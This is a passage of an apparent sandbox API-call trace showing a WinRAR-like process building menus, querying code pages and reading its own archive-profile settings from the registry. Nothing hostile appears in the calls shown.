InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.287] GetACP () returned 0x4e4 [0052.287] GetOEMCP () returned 0x1b5 [0052.287] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.287] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.287] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.288] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.288] InsertMenuW (hMenu=0x101f5, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.288] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.656] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.656] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.658] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.658] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.659] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.659] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.660] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.660] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.662] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.662] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.663] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.663] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.664] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.664] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.665] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.665] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.666] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.667] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.668] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.668] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.669] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.669] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.671] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.671] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.673] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.673] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.674] InsertMenuItemW (hmenu=0x101f5, item=0x3e8, fByPosition=1, lpmi=0x1dc5d0) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0xaf, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x640, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x640, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x641, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x641, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x642, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x642, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x643, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x643, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x644, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x644, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x645, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x645, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x646, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x646, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x647, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x647, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x648, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x648, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x649, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x649, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64a, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x64a, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64b, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x64b, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64c, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x64c, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64d, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x64d, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.674] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64e, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.674] SetMenuItemInfoW (hmenu=0x101f5, item=0x64e, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.675] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x64f, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.675] SetMenuItemInfoW (hmenu=0x101f5, item=0x64f, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.675] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x650, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 1 [0052.675] SetMenuItemInfoW (hmenu=0x101f5, item=0x650, fByPositon=0, lpmii=0x1dc820) returned 1 [0052.675] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x651, fByPosition=0, lpmii=0x1dc820 | out: lpmii=0x1dc820) returned 0 [0052.675] GetCurrentProcess () returned 0xffffffffffffffff [0052.675] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1dc770, lpSystemAffinityMask=0x1dc778 | out: lpProcessAffinityMask=0x1dc770, lpSystemAffinityMask=0x1dc778) returned 1 [0052.675] GetCurrentProcess () returned 0xffffffffffffffff [0052.675] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1dc7d0, lpSystemAffinityMask=0x1dc7d8 | out: lpProcessAffinityMask=0x1dc7d0, lpSystemAffinityMask=0x1dc7d8) returned 1 [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1dc380 | out: phkResult=0x1dc380*=0x180) returned 0x0 [0052.675] RegQueryValueExW (in: hKey=0x180, lpValueName="SMP", lpReserved=0x0, lpType=0x1dc7e4, lpData=0x1dc7e0, lpcbData=0x1dc818*=0x4 | out: lpType=0x1dc7e4*=0x0, lpData=0x1dc7e0*=0x1, lpcbData=0x1dc818*=0x4) returned 0x2 [0052.675] RegCloseKey (hKey=0x180) returned 0x0 [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x180) returned 0x0 [0052.675] RegCloseKey (hKey=0x180) returned 0x0 [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x180) returned 0x0 [0052.675] RegCloseKey (hKey=0x180) returned 0x0 [0052.675] GetLastError () returned 0x5b0 [0052.675] SetLastError (dwErrCode=0x5b0) [0052.675] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x180) returned 0x0 [0052.676] RegCloseKey (hKey=0x180) returned 0x0 [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x180) returned 0x0 [0052.676] RegCloseKey (hKey=0x180) returned 0x0 [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x180) returned 0x0 [0052.676] RegCloseKey (hKey=0x180) returned 0x0 [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0x1db7a0 | out: phkResult=0x1db7a0*=0x0) returned 0x2 [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1dc3b0 | out: phkResult=0x1dc3b0*=0x180) returned 0x0 [0052.676] RegQueryValueExW (in: hKey=0x180, lpValueName="Default", lpReserved=0x0, lpType=0x1dc814, lpData=0x1dc810, lpcbData=0x1dc848*=0x4 | out: lpType=0x1dc814*=0x4, lpData=0x1dc810*=0x1, lpcbData=0x1dc848*=0x4) returned 0x0 [0052.676] RegCloseKey (hKey=0x180) returned 0x0 [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] GetLastError () returned 0x5b0 [0052.676] SetLastError (dwErrCode=0x5b0) [0052.676] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.676] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcName", lpReserved=0x0, lpType=0x1d9a84, lpData=0x1db7e0, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x0, lpData=0x1db7e0*=0x0, lpcbData=0x1d9a80*=0x1000) returned 0x2 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9690 | out: phkResult=0x1d9690*=0x180) returned 0x0 [0052.677] RegQueryValueExW (in: hKey=0x180, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x200020 | out: lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x0) returned 0x2 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9690 | out: phkResult=0x1d9690*=0x180) returned 0x0 [0052.677] RegQueryValueExW (in: hKey=0x180, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x2) returned 0x0 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x16) returned 0x2e2630 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.677] RegQueryValueExW (in: hKey=0x180, lpValueName="ExclNames", lpReserved=0x0, lpType=0x1d9a84, lpData=0x2e2630, lpcbData=0x1d9a80*=0x16 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9690 | out: phkResult=0x1d9690*=0x180) returned 0x0 [0052.677] RegQueryValueExW (in: hKey=0x180, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0x1d9af0*=0x2) returned 0x0 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x414) returned 0x2cab20 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.677] RegQueryValueExW (in: hKey=0x180, lpValueName="StoreNames", lpReserved=0x0, lpType=0x1d9a84, lpData=0x2cab20, lpcbData=0x1d9a80*=0x414 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.677] RegCloseKey (hKey=0x180) returned 0x0 [0052.677] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2cab20 | out: hHeap=0x290000) returned 1 [0052.677] GetLastError () returned 0x5b0 [0052.677] SetLastError (dwErrCode=0x5b0) [0052.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="Default", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x1, lpcbData=0x1da348*=0x4) returned 0x0 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="UseRAR", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x1, lpcbData=0x1da348*=0x4) returned 0x0 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="RAR5", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x1, lpcbData=0x1da348*=0x4) returned 0x0 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXModule", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2b5658, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="SFX", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x0, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x2 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.678] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXIcon", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2bca62, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.678] RegCloseKey (hKey=0x180) returned 0x0 [0052.678] GetLastError () returned 0x5b0 [0052.678] SetLastError (dwErrCode=0x5b0) [0052.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.679] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXLogo", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2bda62, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.679] RegCloseKey (hKey=0x180) returned 0x0 [0052.679] GetLastError () returned 0x5b0 [0052.679] SetLastError (dwErrCode=0x5b0) [0052.679] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.679] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXElevate", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.679] RegCloseKey (hKey=0x180) returned 0x0 [0052.679] GetLastError () returned 0x5b0 [0052.679] SetLastError (dwErrCode=0x5b0) [0052.679] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.679] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtFile", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2b765e, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.679] RegCloseKey (hKey=0x180) returned 0x0 [0052.679] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20000) returned 0x348110 [0052.681] GetLastError () returned 0x5b0 [0052.681] SetLastError (dwErrCode=0x5b0) [0052.681] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.681] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0x1d9a84, lpData=0x348110, lpcbData=0x1d9a80*=0x20000 | out: lpType=0x1d9a84*=0x3, lpData=0x348110*, lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.681] RegCloseKey (hKey=0x180) returned 0x0 [0052.681] GetLastError () returned 0x5b0 [0052.681] SetLastError (dwErrCode=0x5b0) [0052.681] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.681] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0x1d9a84, lpData=0x348110, lpcbData=0x1d9a80*=0x20000 | out: lpType=0x1d9a84*=0x0, lpData=0x348110*=0x0, lpcbData=0x1d9a80*=0x20000) returned 0x2 [0052.681] RegCloseKey (hKey=0x180) returned 0x0 [0052.681] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10000) returned 0x368120 [0052.682] GetLastError () returned 0x5b0 [0052.682] SetLastError (dwErrCode=0x5b0) [0052.682] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.682] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtTextData", lpReserved=0x0, lpType=0x1d9a84, lpData=0x368120, lpcbData=0x1d9a80*=0x10000 | out: lpType=0x1d9a84*=0x0, lpData=0x368120*=0x0, lpcbData=0x1d9a80*=0x10000) returned 0x2 [0052.682] RegCloseKey (hKey=0x180) returned 0x0 [0052.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x368120, cbMultiByte=-1, lpWideCharStr=0x348110, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0052.682] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x368120 | out: hHeap=0x290000) returned 1 [0052.682] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x348110 | out: hHeap=0x290000) returned 1 [0052.682] GetLastError () returned 0x5b0 [0052.682] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="VolumeSize", lpReserved=0x0, lpType=0x1d9a84, lpData=0x1da4d0, lpcbData=0x1d9a80*=0x64 | out: lpType=0x1d9a84*=0x1, lpData="0", lpcbData=0x1d9a80*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.683] GetLastError () returned 0x5b0 [0052.683] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x2, lpcbData=0x1da348*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.683] GetLastError () returned 0x5b0 [0052.683] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="VolPause", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, 